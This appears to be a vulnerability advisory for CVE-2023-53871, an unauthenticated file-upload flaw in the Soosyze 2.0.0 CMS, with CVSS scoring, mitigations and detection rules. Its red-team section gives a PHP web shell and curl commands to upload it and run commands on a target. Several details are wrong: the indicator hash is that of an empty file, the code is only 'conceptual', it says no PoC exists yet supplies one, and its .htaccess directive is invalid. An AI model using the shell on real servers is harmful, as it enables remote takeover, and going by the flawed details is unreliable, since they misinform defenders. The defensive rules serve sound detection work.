CVE-2023-53871

Executive Summary

CVE-2023-53871 is a critical file upload vulnerability in Soosyze 2.0.0, a PHP-based content management system. The vulnerability allows an unauthenticated attacker to upload arbitrary HTML files containing embedded PHP code. This broken file upload mechanism can lead to full server compromise, including the ability to view sensitive file paths and execute malicious PHP scripts. The vulnerability is currently unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the actual severity is critical (CVSS 9.8). No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

Soosyze is a PHP-based CMS distributed via GitHub and potentially Composer. The vulnerability exists in the core file upload functionality, which is part of the application's package. Since no patch is available, users must rely on manual mitigation or consider replacing the software. The lack of an official patch increases supply chain risk, as any deployment of Soosyze 2.0.0 is vulnerable.

CVSS Breakdown & Threat Level

The NVD CVSS score is 0.0, but based on the vulnerability description, the actual CVSS v3.1 vector is:

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the only affected component.
• Confidentiality (C): High – Full file system access possible.
• Integrity (I): High – Arbitrary file upload and code execution.
• Availability (A): High – Potential for denial of service or full compromise.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Soosyze 2.0.0. The application fails to properly validate the file type and content during upload. Specifically, it does not restrict the upload of HTML files or files containing PHP code. An attacker can craft an HTML file with embedded PHP code (e.g., using <?php system($_GET['cmd']); ?>) and upload it via the file upload form. The uploaded file is stored in a web-accessible directory (e.g., /uploads/). When the attacker accesses the uploaded file via a web browser, the PHP code is executed on the server, allowing arbitrary command execution.

The root cause is a lack of proper file type validation (MIME type, extension, and content inspection) and insufficient access controls on the upload directory. The application does not check if the uploaded file contains executable code or if it is a safe file type (e.g., images only).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire file upload handler in Soosyze 2.0.0. A typical vulnerable implementation might look like:

// Vulnerable code (conceptual)
if (isset($_FILES['file'])) {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
}

A patched version would include:

// Patched code (conceptual)
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (isset($_FILES['file'])) {
    $file_type = mime_content_type($_FILES['file']['tmp_name']);
    if (!in_array($file_type, $allowed_types)) {
        die("Invalid file type.");
    }
    $target_dir = "uploads/";
    $target_file = $target_dir . uniqid() . "." . pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
}

The patched version validates the MIME type, renames the file to prevent path traversal, and restricts uploads to safe image types.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Soosyze 2.0.0 on a local server (e.g., using Docker or XAMPP).
2. Ensure the file upload functionality is accessible (e.g., via /admin/upload or similar endpoint).

Exploitation Steps:

1. Create a malicious HTML file with embedded PHP code:

   <html>
   <body>
   <?php system($_GET['cmd']); ?>
   </body>
   </html>
   

   Save as shell.html.

2. Upload the file via the file upload form (e.g., using curl):

   curl -F "file=@shell.html" http://target.com/upload.php
   

3. Access the uploaded file to execute commands:

   curl http://target.com/uploads/shell.html?cmd=id
   

Expected Output: The server returns the output of the id command.

Blue Team

Detection:

• Monitor for file uploads with unusual extensions (e.g., .html, .php, .phtml).
• Look for HTTP requests to /uploads/ directory with query parameters (e.g., ?cmd=).
• Check for anomalous file sizes or content types in upload logs.

Mitigation:

• Implement strict file type validation on the server side.
• Disable PHP execution in the uploads directory using .htaccess:

  <Directory /path/to/uploads>
      php_flag engine off
  </Directory>
  

• Use a Web Application Firewall (WAF) to block malicious file uploads.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes depend on the uploaded file)
  • shell.html: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • HTTP POST requests to /upload.php or similar endpoints with multipart/form-data.
  • HTTP GET requests to /uploads/*.html?cmd=*.
• File System Indicators:
  • Unexpected .html or .php files in the /uploads/ directory.
  • Files with embedded PHP code in the uploads directory.
• Log Indicators:
  • Web server logs showing requests to /uploads/ with query parameters.
  • PHP error logs indicating execution of uploaded files.

Detection Engineering

YARA Rule

rule CVE_2023_53871_Soosyze_FileUpload
{
    meta:
        description = "Detects malicious HTML files with embedded PHP code uploaded to Soosyze"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53871"
    strings:
        $php_tag = "<?php"
        $html_tag = "<html"
        $system_call = "system("
    condition:
        $php_tag and $html_tag and $system_call
}

Sigma Rule

title: Soosyze File Upload Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to Soosyze uploads directory with command execution parameters
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/uploads/'
        cs-uri-query|contains: 'cmd='
    condition: selection
falsepositives:
    - Legitimate use of query parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53871 Soosyze File Upload Exploitation"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload.php"; http.request_body; content:"filename="; pcre:"/\.html$/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Disable File Uploads: Temporarily disable the file upload functionality in Soosyze until a patch is released.
2. Restrict Upload Directory: Configure the web server to prevent PHP execution in the uploads directory:
   • For Apache: Add php_flag engine off in .htaccess or virtual host configuration.
   • For Nginx: Use location ~ \.php$ { deny all; } for the uploads directory.
3. Implement Input Validation: Add server-side validation to check file MIME type, extension, and content (e.g., using finfo or mime_content_type).
4. Use a WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block file uploads containing PHP code.
5. Monitor Logs: Regularly review web server and application logs for suspicious upload activity.
6. Consider Replacement: If possible, migrate to a supported CMS with active security maintenance.

Valters IT – Securing digital frontiers, one vulnerability at a time.